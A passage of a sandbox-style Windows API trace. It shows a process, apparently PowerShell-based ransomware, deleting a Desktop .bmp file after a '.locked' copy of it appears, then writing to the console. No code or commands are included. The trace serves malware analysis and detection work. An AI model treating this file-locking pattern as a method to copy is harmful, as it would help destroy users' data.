(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.515] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0128.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp\\", lpFilePart=0x0) returned 0x35 [0128.516] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.517] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.517] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.517] CoTaskMemFree (pv=0x8ebb8c8) [0128.518] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0128.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp"), fInfoLevelId=0x0, lpFileInformation=0x6a436fc | out: lpFileInformation=0x6a436fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180b7d0, ftCreationTime.dwHighDateTime=0x1d4aa9c, ftLastAccessTime.dwLowDateTime=0x4d2c8800, ftLastAccessTime.dwHighDateTime=0x1d4a2a3, ftLastWriteTime.dwLowDateTime=0x4d2c8800, ftLastWriteTime.dwHighDateTime=0x1d4a2a3, nFileSizeHigh=0x0, nFileSizeLow=0x188e2)) returned 1 [0128.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.518] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 1 [0128.520] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xc700\x8df") returned 0x0 [0128.521] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.521] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.521] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.522] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp.locked")) returned 0x20 [0128.522] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp.locked")) returned 0x20 [0128.522] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", lpFilePart=0x0) returned 0x3b [0128.522] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", lpFilePart=0x0) returned 0x3b [0128.522] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.523] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0128.523] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.523] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.523] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.523] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.526] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0128.526] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.526] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.526] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.528] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.528] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.528] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.528] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.528] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.530] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.530] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.531] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.531] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.531] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.533] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.533] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.533] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.533] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.533] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.536] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a521c8 | out: lpFileInformation=0x6a521c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1332b, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfd1332b, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfd395e9, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x18904)) returned 1 [0128.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.538] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked", lpFilePart=0x0) returned 0x3b [0128.538] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0128.538] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.538] CloseHandle (hObject=0x874) returned 1 [0128.540] GetConsoleOutputCP () returned 0x1b5 [0128.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.541] GetConsoleOutputCP () returned 0x1b5 [0128.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.541] GetConsoleOutputCP () returned 0x1b5 [0128.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.542] GetConsoleOutputCP () returned 0x1b5 [0128.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.542] GetConsoleOutputCP () returned 0x1b5 [0128.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.542] GetConsoleOutputCP () returned 0x1b5 [0128.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.543] GetConsoleOutputCP () returned 0x1b5 [0128.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.543] GetConsoleOutputCP () returned 0x1b5 [0128.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.544] GetConsoleOutputCP () returned 0x1b5 [0128.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.544] GetConsoleOutputCP () returned 0x1b5 [0128.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.544] GetConsoleOutputCP () returned 0x1b5 [0128.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.545] GetConsoleOutputCP () returned 0x1b5 [0128.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.545] GetConsoleOutputCP () returned 0x1b5 [0128.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.545] GetConsoleOutputCP () returned 0x1b5 [0128.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.546] GetConsoleOutputCP () returned 0x1b5 [0128.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.546] GetConsoleOutputCP () returned 0x1b5 [0128.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.546] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.547] GetConsoleOutputCP () returned 0x1b5 [0128.547] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.547] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.548] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a78f68*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a78f68*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.548] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.548] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.553] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.554] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: 